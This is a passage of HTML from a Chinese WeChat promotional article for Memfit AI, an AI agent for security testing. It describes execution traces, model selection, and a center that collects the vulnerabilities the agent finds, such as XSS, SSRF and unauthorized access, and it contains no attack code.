rgba(0, 0, 0, 0);margin-right: 0px;margin-bottom: 0px;margin-left: 0px;padding: 0px;outline: 0px;max-width: 100%;text-decoration: underline;color: rgb(95, 156, 239);font-size: 13px;overflow-wrap: break-word !important;"><em style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin-right: 0px;margin-bottom: 0px;margin-left: 0px;padding: 0px;outline: 0px;max-width: 100%;font-style: italic;box-sizing: border-box;overflow-wrap: break-word !important;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin-right: 0px;margin-bottom: 0px;margin-left: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><a href="https://memfit.ai/" target="_blank">https://memfit.ai/</a></span></em></span></p><p style="margin: 0px;padding: 0px;box-sizing: border-box;line-height: 1.6em;"><span style="font-size: 13px;box-sizing: border-box;"><span leaf=""><span textstyle="" style="font-size: 15px;">也可在 Memfit / Yakit AI 登陆选择更多 AI。</span></span></span></p></div></div></div><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img js_insertlocalimg" data-ratio="1.6888888888888889" data-s="300,640" data-type="jpeg" data-w="1080" type="block" data-imgfileid="100046457" src="https://wechat2rss.xlab.app/img-proxy/?k=4520241d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FjibGAup6p72FTCGkHWBYOO1oqFbR8s0EbqZxEWIzeckibCMVk1iaicoLtejT01IwibPibAicmVQTY2M8tHMPQ8W3o7kC5lV8YaWnic4UUIex9ZPOHYw%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/></p><div style="text-align: center;justify-content: center;display: flex;flex-flow: row;margin: 10px 0px;box-sizing: border-box;"><div style="display: inline-block;vertical-align: middle;width: auto;align-self: center;flex: 0 0 auto;min-width: 5%;max-width: 100%;height: auto;padding: 0px;box-sizing: border-box;"><div style="font-size: 14px;color: rgb(0, 0, 0);letter-spacing: 2px;box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">下面是Memfit AI执行演示（部分）</span></strong></p></div></div></div><div style="max-width: 100%;display: inline-block;flex: 0 0 auto;align-self: stretch;margin-bottom: 0px;vertical-align: top;box-sizing: border-box;"><div style="outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-align: left;background-color: rgb(255, 255, 255);display: inline-block;border-style: solid;border-width: 0px 0px 3px;border-color: rgb(244, 127, 123) rgb(244, 127, 123) rgb(255, 129, 36);min-width: 5%;height: auto;max-width: 100%;box-sizing: border-box;"><div style="max-width: 100%;margin-bottom: 2px;box-sizing: border-box;"><div style="outline: 0px;max-width: 100%;box-sizing: border-box;"><div style="box-sizing: border-box;"><div style="max-width: 100%;display: inline-block;flex: 0 0 auto;align-self: stretch;margin-bottom: 0px;vertical-align: top;box-sizing: border-box;"><div style="outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;background-color: rgb(254, 255, 255);display: inline-block;border-style: solid;border-width: 0px 0px 3px;border-color: rgb(244, 127, 123) rgb(244, 127, 123) rgb(255, 129, 36);min-width: 5%;height: auto;max-width: 100%;box-sizing: border-box;"><div style="max-width: 100%;margin-bottom: 2px;box-sizing: border-box;"><div style="outline: 0px;max-width: 100%;box-sizing: border-box;"><div style="max-width: 100%;box-sizing: border-box;"><div style="text-align: justify;outline: 0px;font-size: 18px;max-width: 100%;box-sizing: border-box;"><p style="outline: 0px;white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span style="font-weight: bold;outline: 0px;box-sizing: border-box;"><span leaf="">一、执行过程看得见</span></span></strong></p></div></div></div></div></div></div><div style="text-align: center;margin-top: 10px;margin-bottom: 10px;line-height: 0;box-sizing: border-box;"><p style="max-width: 100%;vertical-align: middle;display: inline-block;line-height: 0;width: 100%;border-style: solid;border-width: 1px;box-sizing: border-box;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.5573419078242229" data-s="300,640" data-type="png" data-w="933" style="vertical-align: middle;max-width: 100%;width: 100%;box-sizing: border-box;" data-imgfileid="100046450" src="https://wechat2rss.xlab.app/img-proxy/?k=7ee49afd&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FjibGAup6p72G00DNOeQeRvGCS8VtG4Z35zN916YiaKiaxuYxiaDgMFrGjRvauj54DIlibYz7ulWJhibRXAiad0UzkOLyh3zF7VI8QUZ8zXDaIeia4g4%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p></div><div style="max-width: 100%;margin-left: 8px;margin-right: 8px;margin-bottom: 8px;box-sizing: border-box;"><div style="max-width: 100%;box-sizing: border-box;"><div style="text-align: unset;max-width: 100%;font-size: 15px;box-sizing: border-box;"><p data-pm-slice="0 0 []" style="text-align: left;"><strong><span leaf=""><span textstyle="" style="font-size: 12px;font-weight: normal;">Agent 重点执行轨迹：已完成、进行中与待处理内容一目了然。</span></span></strong></p><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">Agent 在执行任务时，究竟已经做了什么？</span><span style="letter-spacing: 0.544px;box-sizing: border-box;"><span leaf="">正在做什么？任务推进到了哪一步？</span></span></p><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">新版 Memfit AI 增加了更直观的「执行轨迹」展示。系统会将任务过程中的重点内容整理为清晰的待办清单与行动记录，包括已完成事项、当前执行步骤、关键工具调用、流量记录以及整体任务进度。</span></p><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">用户无需翻阅冗长日志，就能快速掌握：</span></p></div></div></div><div style="max-width: 100%;box-sizing: border-box;"><p style="text-align: unset;max-width: 100%;box-sizing: border-box;"><ul style="box-sizing: border-box;padding-left: 20px;list-style-position: outside;" class="list-paddingleft-1"><li style="box-sizing:border-box;font-size:15px;"><p style="margin: 0px 8px;padding: 0px;box-sizing: border-box;"><span leaf=""><span textstyle="" style="font-size: 15px;">AI 已经完成了哪些工作</span></span></p></li><li style="box-sizing:border-box;font-size:15px;"><p style="margin: 0px 8px;padding: 0px;box-sizing: border-box;"><span leaf=""><span textstyle="" style="font-size: 15px;">当前正在执行什么操作</span></span></p></li><li style="box-sizing:border-box;font-size:15px;"><p style="margin: 0px 8px;padding: 0px;box-sizing: border-box;"><span leaf=""><span textstyle="" style="font-size: 15px;">后续还有哪些任务等待处理</span></span></p></li><li style="box-sizing:border-box;font-size:15px;"><p style="margin: 0px 8px;padding: 0px;box-sizing: border-box;"><span leaf=""><span textstyle="" style="font-size: 15px;">每个关键步骤的执行状态与流量情况</span></span></p></li><li style="box-sizing:border-box;font-size:15px;"><p style="margin: 0px 8px;padding: 0px;box-sizing: border-box;"><span leaf=""><span textstyle="" style="font-size: 15px;">整条任务路径是如何逐步推进的</span></span></p></li></ul></p></div><div style="max-width: 100%;margin-left: 8px;margin-right: 8px;margin-bottom: 8px;box-sizing: border-box;"><div style="max-width: 100%;box-sizing: border-box;"><div style="text-align: unset;max-width: 100%;font-size: 15px;box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><span style="letter-spacing: 0.544px;box-sizing: border-box;"><span leaf="">这不仅让 Agent 的工作过程更加透明，也能减少等待过程中的不确定感。当任务较长、步骤较多时，用户仍然可以随时了解进度，快速定位重点，并对最终交付结果形成更清晰的预期。</span></span></p><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span style="font-size: 16px;color: rgb(253, 128, 9);box-sizing: border-box;"><span leaf=""><span textstyle="" style="font-size: 15px;">让 AI 的每一步行动都有迹可循，让复杂任务的执行过程真正看得见。</span></span></span></strong></p></div></div></div><div style="max-width: 100%;display: inline-block;flex: 0 0 auto;align-self: stretch;margin-bottom: 0px;vertical-align: top;box-sizing: border-box;"><div style="outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;background-color: rgb(254, 255, 255);display: inline-block;border-style: solid;border-width: 0px 0px 3px;border-color: rgb(244, 127, 123) rgb(244, 127, 123) rgb(255, 129, 36);min-width: 5%;height: auto;max-width: 100%;box-sizing: border-box;"><div style="max-width: 100%;margin-bottom: 2px;box-sizing: border-box;"><div style="outline: 0px;max-width: 100%;box-sizing: border-box;"><div style="max-width: 100%;box-sizing: border-box;"><div style="text-align: justify;outline: 0px;font-size: 18px;max-width: 100%;box-sizing: border-box;"><p style="outline: 0px;white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span style="font-weight: bold;outline: 0px;box-sizing: border-box;"><span leaf="">二、</span></span></strong><strong style="box-sizing: border-box;"><span style="letter-spacing: 0.544px;box-sizing: border-box;"><span leaf="">自由输入，解放不同 AI 能力</span></span></strong></p></div></div></div></div></div></div><div style="text-align: center;margin-top: 10px;margin-bottom: 10px;line-height: 0;box-sizing: border-box;"><p style="max-width: 100%;vertical-align: middle;display: inline-block;line-height: 0;width: 100%;border-style: solid;border-width: 1px;box-sizing: border-box;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.8475103734439834" data-s="300,640" data-type="png" data-w="964" style="vertical-align: middle;max-width: 100%;width: 100%;box-sizing: border-box;" data-imgfileid="100046449" src="https://wechat2rss.xlab.app/img-proxy/?k=acdca8d6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FjibGAup6p72HicefCPDWX78VMoYAehHDS7BDxGialKwqwg5Pgeic9klZlD1ia8z0NqTN7ic3T0ysyhJYlczUwKwfR9yRcx838H6wlKnlERicABrTtQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p></div><div style="max-width: 100%;margin-left: 8px;margin-right: 8px;margin-bottom: 8px;box-sizing: border-box;"><div style="max-width: 100%;box-sizing: border-box;"><div style="text-align: unset;max-width: 100%;font-size: 15px;box-sizing: border-box;"><p data-pm-slice="0 0 []" style="text-align: left;"><strong><span leaf=""><span textstyle="" style="font-size: 12px;font-weight: normal;">Memfit </span></span></strong><strong><span leaf=""><span textstyle="" style="font-size: 12px;font-weight: normal;">AI</span></span></strong><strong><span leaf=""><span textstyle="" style="font-size: 12px;font-weight: normal;"> Agent 多模型工作台：根据不同安全任务，自由选择模型、工作模式与推理策略。</span></span></strong></p><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">Memfit AI Agent 将常用的安全任务集中到统一入口中。无论是 SQL 注入验证、未授权与越权访问检查、代码敏感信息审计，还是登录入口分析、扫描报告解读，用户都可以直接用自然语言描述目标，让 Agent 理解任务并开始执行。</span></p><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">针对不同类型的工作，用户还可以自由切换安全领域、代码安全审计、渗透测试等任务场景，并根据速度、效果和任务复杂度选择合适的 AI 模型。</span></p><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">目前的模型选择界面支持 DeepSeek、GLM等不同模型，也可以单独配置是否启用 Thinking。简单任务可以优先追求响应速度，复杂分析则可以选择更适合深度推理的模型，让每一次 Agent 执行都更加贴合实际需要。</span></p><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">从模型选择、任务理解到安全工具调用，Memfit AI 正在把原本分散的能力整合到同一个工作台中。</span></p></div></div></div><div style="max-width: 100%;margin-left: 8px;margin-right: 8px;margin-bottom: 8px;box-sizing: border-box;"><div style="max-width: 100%;box-sizing: border-box;"><div style="text-align: unset;max-width: 100%;font-size: 15px;box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="letter-spacing: 0.544px;box-sizing: border-box;"><span style="font-size: 16px;color: rgb(253, 128, 9);box-sizing: border-box;"><span leaf=""><span textstyle="" style="font-size: 15px;">选择合适的模型，说出你的目标，剩下的执行过程交给 Agent。</span></span></span></strong></p></div></div></div><div style="max-width: 100%;box-sizing: border-box;"><div style="text-align: unset;max-width: 100%;box-sizing: border-box;"><p style="margin: 0px 8px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span style="font-size: 15px;box-sizing: border-box;"><span style="letter-spacing: 1px;color: rgb(253, 128, 9);box-sizing: border-box;"><span leaf=""><span textstyle="" style="font-size: 15px;">· 安全场景开箱即用：</span></span></span></span></strong><span leaf=""><span textstyle="" style="font-size: 15px;">内置常见安全任务示例，降低使用门槛。</span></span></p><p style="margin: 0px 8px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span style="font-size: 15px;box-sizing: border-box;"><span style="letter-spacing: 1px;color: rgb(253, 128, 9);box-sizing: border-box;"><span leaf=""><span textstyle="" style="font-size: 15px;">· 多种工作模式：</span></span></span></span></strong><span leaf=""><span textstyle="" style="font-size: 15px;">覆盖安全分析、代码审计和渗透测试等场景。</span></span></p><p style="margin: 0px 8px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span style="font-size: 15px;box-sizing: border-box;"><span style="letter-spacing: 1px;color: rgb(253, 128, 9);box-sizing: border-box;"><span leaf=""><span textstyle="" style="font-size: 15px;">· 模型自由选择：</span></span></span></span></strong><span leaf=""><span textstyle="" style="font-size: 15px;">可以根据任务特点切换不同 AI 模型。</span></span></p><p style="margin: 0px 8px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span style="font-size: 15px;box-sizing: border-box;"><span style="letter-spacing: 1px;color: rgb(253, 128, 9);box-sizing: border-box;"><span leaf=""><span textstyle="" style="font-size: 15px;">· Thinking 可配置：</span></span></span></span></strong><span style="letter-spacing: 0.544px;box-sizing: border-box;"><span leaf=""><span textstyle="" style="font-size: 15px;">针对不同任务控制推理方式，兼顾速度与分析深度。</span></span></span></p><p style="margin: 0px 8px;padding: 0px;box-sizing: border-box;"><span style="letter-spacing: 0.544px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span style="font-size: 15px;box-sizing: border-box;"><span style="letter-spacing: 1px;color: rgb(253, 128, 9);box-sizing: border-box;"><span leaf=""><span textstyle="" style="font-size: 15px;">· 自然语言驱动：</span></span></span></span></strong><span style="letter-spacing: 0.544px;box-sizing: border-box;"><span leaf=""><span textstyle="" style="font-size: 15px;">不需要编写复杂指令，直接描述目标即可开始工作。</span></span></span></span></p></div></div><div style="max-width: 100%;display: inline-block;flex: 0 0 auto;align-self: stretch;margin-bottom: 0px;vertical-align: top;box-sizing: border-box;"><div style="outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;background-color: rgb(254, 255, 255);display: inline-block;border-style: solid;border-width: 0px 0px 3px;border-color: rgb(244, 127, 123) rgb(244, 127, 123) rgb(255, 129, 36);min-width: 5%;height: auto;max-width: 100%;box-sizing: border-box;"><div style="max-width: 100%;margin-bottom: 2px;box-sizing: border-box;"><div style="outline: 0px;max-width: 100%;box-sizing: border-box;"><div style="max-width: 100%;box-sizing: border-box;"><div style="text-align: justify;outline: 0px;font-size: 18px;max-width: 100%;box-sizing: border-box;"><p style="outline: 0px;white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span style="font-weight: bold;outline: 0px;box-sizing: border-box;"><span leaf="">三、</span></span></strong><strong style="box-sizing: border-box;"><span style="letter-spacing: 0.544px;box-sizing: border-box;"><span leaf="">Agent 执行剪影：从发现问题，到调整路径，再到并行推进</span></span></strong></p></div></div></div></div></div></div><div style="text-align: center;margin-top: 10px;margin-bottom: 10px;line-height: 0;box-sizing: border-box;"><p style="max-width: 100%;vertical-align: middle;display: inline-block;line-height: 0;width: 100%;border-style: solid;border-width: 1px;box-sizing: border-box;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="1.0741379310344827" data-s="300,640" data-type="png" data-w="580" style="vertical-align: middle;max-width: 100%;width: 100%;box-sizing: border-box;" data-imgfileid="100046448" src="https://wechat2rss.xlab.app/img-proxy/?k=5d3e2a45&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FjibGAup6p72FcBpJRkibun97cejcUykficMoX0Mp1XrWQiblicYo5AAdcunvbL9bSkALxHU33ElcS32Nq8RQ60BwK8yufSzPTLMI5UP1oMHYSMjk%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p></div><div style="max-width: 100%;margin-left: 8px;margin-right: 8px;margin-bottom: 8px;box-sizing: border-box;"><div style="max-width: 100%;box-sizing: border-box;"><div style="text-align: unset;max-width: 100%;font-size: 15px;box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">这是一段 Memfit AI Agent 的真实执行剪影。</span></p><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">在任务过程中，Agent 不只是机械地按照固定步骤运行。它会持续发起请求、读取返回结果、识别潜在风险，并根据当前情况调整后续执行路径。</span></p><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">从图中可以看到，一次完整的 Agent 推进过程包括：</span></p><ul style="box-sizing: border-box;padding-left: 20px;list-style-position: outside;" class="list-paddingleft-1"><li style="box-sizing: border-box;"><p style="margin: 0px 8px;padding: 0px;box-sizing: border-box;"><span leaf="">发起 HTTP 请求并检查页面返回内容</span></p></li><li style="box-sizing: border-box;"><p style="margin: 0px 8px;padding: 0px;box-sizing: border-box;"><span leaf="">结合响应结果判断潜在安全风险</span></p></li><li style="box-sizing: border-box;"><p style="margin: 0px 8px;padding: 0px;box-sizing: border-box;"><span leaf="">将已确认的风险及时记录并输出</span></p></li><li style="box-sizing: border-box;"><p style="margin: 0px 8px;padding: 0px;box-sizing: border-box;"><span leaf="">遇到调用失败时分析原因并调整请求方式</span></p></li><li style="box-sizing: border-box;"><p style="margin: 0px 8px;padding: 0px;box-sizing: border-box;"><span leaf="">完成当前目标后，自动切换到下一项探测任务</span></p></li><li style="box-sizing: border-box;"><p style="margin: 0px 8px;padding: 0px;box-sizing: border-box;"><span style="letter-spacing: 0.544px;box-sizing: border-box;"><span leaf="">同时准备多个工具调用，并行推进后续测试</span></span></p></li></ul><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">例如，当 Agent 发现匿名投稿接口可能成为存储型 XSS 的潜在入口时，会先记录对应风险和验证状态，再继续探测广告后台、控制台与聊天子域等目标。界面同时展示当前请求、风险输出、任务进展以及正在准备的工具参数。</span></p><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">这让用户看到的是整个任务如何一步步向前推进，用户也随时可以介入来调整执行状态与优化执行标准。</span></p><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span style="font-size: 16px;color: rgb(253, 128, 9);box-sizing: border-box;"><span leaf=""><span textstyle="" style="font-size: 15px;">发现了什么、做出了什么判断、哪些内容已经完成，以及接下来准备做什么。</span></span></span></strong></p></div></div></div><div style="text-align: center;justify-content: center;display: flex;flex-flow: row;margin: 10px 0px;box-sizing: border-box;"><div style="display: inline-block;vertical-align: bottom;width: auto;min-width: 5%;max-width: 100%;flex: 0 0 auto;height: auto;align-self: flex-end;padding: 0px 2px;box-sizing: border-box;"><div style="margin: 0px;box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">总结小tips</span></strong></p></div><div style="line-height: 0;margin: 0px;box-sizing: border-box;"><p style="max-width: 100%;vertical-align: middle;display: inline-block;line-height: 0;width: 83.375px;height: auto;box-sizing: border-box;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.07760381211708646" data-s="300,640" data-type="png" data-w="1469" style="vertical-align: middle;max-width: 100%;width: 100%;box-sizing: border-box;" data-imgfileid="100046443" src="https://wechat2rss.xlab.app/img-proxy/?k=07564467&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FjibGAup6p72EE2oicLzb9PHM1koQDVUB26SM6uKgjgBlliaEmvolUVYib6WogialapNK2E3ubCeVw2RKHIte8zg2m1EgibPdiajlmAxCy6hHjD2xe8%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p></div></div></div><div style="max-width: 100%;box-sizing: border-box;"><div style="text-align: unset;max-width: 100%;box-sizing: border-box;"><p style="margin: 0px 8px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span style="font-size: 15px;box-sizing: border-box;"><span style="letter-spacing: 1px;color: rgb(253, 128, 9);box-sizing: border-box;"><span leaf=""><span textstyle="" style="font-size: 15px;">· 执行过程可视化：</span></span></span></span></strong><span leaf=""><span textstyle="" style="font-size: 15px;">关键请求、任务进度和工具调用清晰可见。</span></span></p><p style="margin: 0px 8px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span style="font-size: 15px;box-sizing: border-box;"><span style="letter-spacing: 1px;color: rgb(253, 128, 9);box-sizing: border-box;"><span leaf=""><span textstyle="" style="font-size: 15px;">· 动态调整路径：</span></span></span></span></strong><span leaf=""><span textstyle="" style="font-size: 15px;">根据实际返回结果修正方法，不被单次失败阻断。</span></span></p><p style="margin: 0px 8px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span style="font-size: 15px;box-sizing: border-box;"><span style="letter-spacing: 1px;color: rgb(253, 128, 9);box-sizing: border-box;"><span leaf=""><span textstyle="" style="font-size: 15px;">· 风险即时沉淀：</span></span></span></span></strong><span leaf=""><span textstyle="" style="font-size: 15px;">发现潜在问题后及时记录，避免信息在长任务中丢失。</span></span></p><p style="margin: 0px 8px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span style="font-size: 15px;box-sizing: border-box;"><span style="letter-spacing: 1px;color: rgb(253, 128, 9);box-sizing: border-box;"><span leaf=""><span textstyle="" style="font-size: 15px;">· 多目标持续推进：</span></span></span></span></strong><span leaf=""><span textstyle="" style="font-size: 15px;">完成一个阶段后继续探索后续目标。</span></span></p><p style="margin: 0px 8px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span style="font-size: 15px;box-sizing: border-box;"><span style="letter-spacing: 1px;color: rgb(253, 128, 9);box-sizing: border-box;"><span leaf=""><span textstyle="" style="font-size: 15px;">· 并行工具调用：</span></span></span></span></strong><span leaf=""><span textstyle="" style="font-size: 15px;">多个独立任务可以同步准备和执行，提高整体效率。</span></span></p></div></div><div style="max-width: 100%;box-sizing: border-box;"><div style="text-align: justify;outline: 0px;font-size: 18px;max-width: 100%;box-sizing: border-box;"><p style="outline: 0px;white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span style="font-weight: bold;outline: 0px;box-sizing: border-box;"><span leaf="">四、Memfit 发现风险，实时沉淀</span></span></strong></p></div></div></div></div></div></div></div><div style="text-align: center;margin-top: 10px;margin-bottom: 10px;line-height: 0;box-sizing: border-box;"><p style="max-width: 100%;vertical-align: middle;display: inline-block;line-height: 0;width: 100%;border-style: solid;border-width: 1px;overflow: hidden;box-sizing: border-box;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.3958966565349544" data-s="300,640" data-type="png" data-w="1316" style="vertical-align:middle;max-width:100%;width:577px;box-sizing:border-box;height:228px;" data-imgfileid="100046453" src="https://wechat2rss.xlab.app/img-proxy/?k=8e0416a0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FjibGAup6p72H6KicNLveicvZBAWNhQUlazTHMl20G7ug3aEnHlUu2PF3D8B4aUZusefnWE9SH3J244AGtnfYY69VCBJInIcNaia3yea8vMIvDmI%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p></div><div style="max-width: 100%;margin-left: 8px;margin-right: 8px;margin-bottom: 8px;box-sizing: border-box;"><div style="max-width: 100%;box-sizing: border-box;"><div style="text-align: unset;max-width: 100%;font-size: 15px;letter-spacing: 1px;padding: 0px 8px;box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;text-align: left;"><span leaf=""><span textstyle="" style="font-size: 13px;">Memfit AI Agent 风险成果中心：实时汇总任务发现，让每一条风险都可查看、可追踪、可继续验证。</span></span></p><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">Agent 的价值不仅在于自动执行任务，更在于把执行过程中发现的问题，转化为清晰、可追踪的安全成果。</span></p><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">Memfit AI Agent 会将识别到的疑似风险与已验证问题，持续汇总到「漏洞与风险」中心。用户可以直接查看风险标题、漏洞类型、危险等级、目标 IP 与对应 URL，无需再从大量对话和请求记录中手工整理结果。</span></p><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">从图中可以看到，Agent 已经识别并记录了匿名投稿、未授权访问、越权读取、SSRF 等多个高风险问题。</span></p><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">新的风险会通过消息中心及时提醒，同时保留对应的任务执行轨迹，方便用户返回现场继续分析与验证。</span></p><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf=""><span textstyle="" style="font-size: 15px;">这让一轮 Agent 任务形成完整闭环：</span></span></p><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span style="font-size: 16px;color: rgb(253, 128, 9);box-sizing: border-box;"><span leaf=""><span textstyle="" style="font-size: 15px;">自动探测 → 分析判断 → 风险输出 → 集中管理 → 持续跟进</span></span></span></strong></p></div></div></div><div style="text-align: center;justify-content: center;display: flex;flex-flow: row;margin: 10px 0px;box-sizing: border-box;"><div style="display: inline-block;vertical-align: bottom;width: auto;min-width: 5%;max-width: 100%;flex: 0 0 auto;height: auto;align-self: flex-end;padding: 0px 2px;box-sizing: border-box;"><div style="margin: 0px;box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">总结小tips</span></strong></p></div><div style="line-height: 0;margin: 0px;box-sizing: border-box;"><p style="max-width: 100%;vertical-align: middle;display: inline-block;line-height: 0;width: 83.375px;height: auto;box-sizing: border-box;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.07760381211708646" data-s="300,640" data-type="png" data-w="1469" style="vertical-align: middle;max-width: 100%;width: 100%;box-sizing: border-box;" data-imgfileid="100046444" src="https://wechat2rss.xlab.app/img-proxy/?k=e2f9e204&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FjibGAup6p72G9edKiaWNibrJLstNeib97OGIlEcUvDj5KO1BIbGDhNlICh6got89fLRsexIL8fysJ34rDP1s8DhGF77rbsP1dqyOChmRf4RDmoA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p></div></div></div><div style="max-width: 100%;box-sizing: border-box;"><div style="text-align: unset;max-width: 100%;box-sizing: border-box;"><p style="margin: 0px 8px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span style="font-size: 15px;box-sizing: border-box;"><span style="letter-spacing: 1px;color: rgb(253, 128, 9);box-sizing: border-box;"><span leaf="">· 风险自动归档：</span></span></span></strong><span style="font-size: 15px;box-sizing: border-box;"><span style="letter-spacing: 1px;color: rgb(0, 0, 0);box-sizing: border-box;"><span leaf="">Agent 发现的问题自动进入风险列表。</span></span></span></p><p style="margin: 0px 8px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span style="font-size: 15px;box-sizing: border-box;"><span style="letter-spacing: 1px;color: rgb(253, 128, 9);box-sizing: border-box;"><span leaf="">· 结果结构化展示：</span></span></span></strong><span style="font-size: 15px;box-sizing: border-box;"><span style="letter-spacing: 1px;color: rgb(0, 0, 0);box-sizing: border-box;"><span leaf="">标题、类型、等级、IP 和 URL 一目了然。</span></span></span></p><p style="margin: 0px 8px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span style="font-size: 15px;box-sizing: border-box;"><span style="letter-spacing: 1px;color: rgb(253, 128, 9);box-sizing: border-box;"><span leaf="">· 高危问题及时提醒：</span></span></span></strong><span style="font-size: 15px;box-sizing: border-box;"><span style="letter-spacing: 1px;color: rgb(0, 0, 0);box-sizing: border-box;"><span leaf="">新风险通过消息中心实时通知。</span></span></span></p><p style="margin: 0px 8px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span style="font-size: 15px;box-sizing: border-box;"><span style="letter-spacing: 1px;color: rgb(253, 128, 9);box-sizing: border-box;"><span leaf="">· 执行与结果联动：</span></span></span></strong><span style="font-size: 15px;box-sizing: border-box;"><span style="letter-spacing: 1px;color: rgb(0, 0, 0);box-sizing: border-box;"><span leaf="">左侧查看风险成果，右侧继续跟踪 Agent 执行过程。</span></span></span></p><p style="margin: 0px 8px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span style="font-size: 15px;box-sizing: border-box;"><span style="letter-spacing: 1px;color: rgb(253, 128, 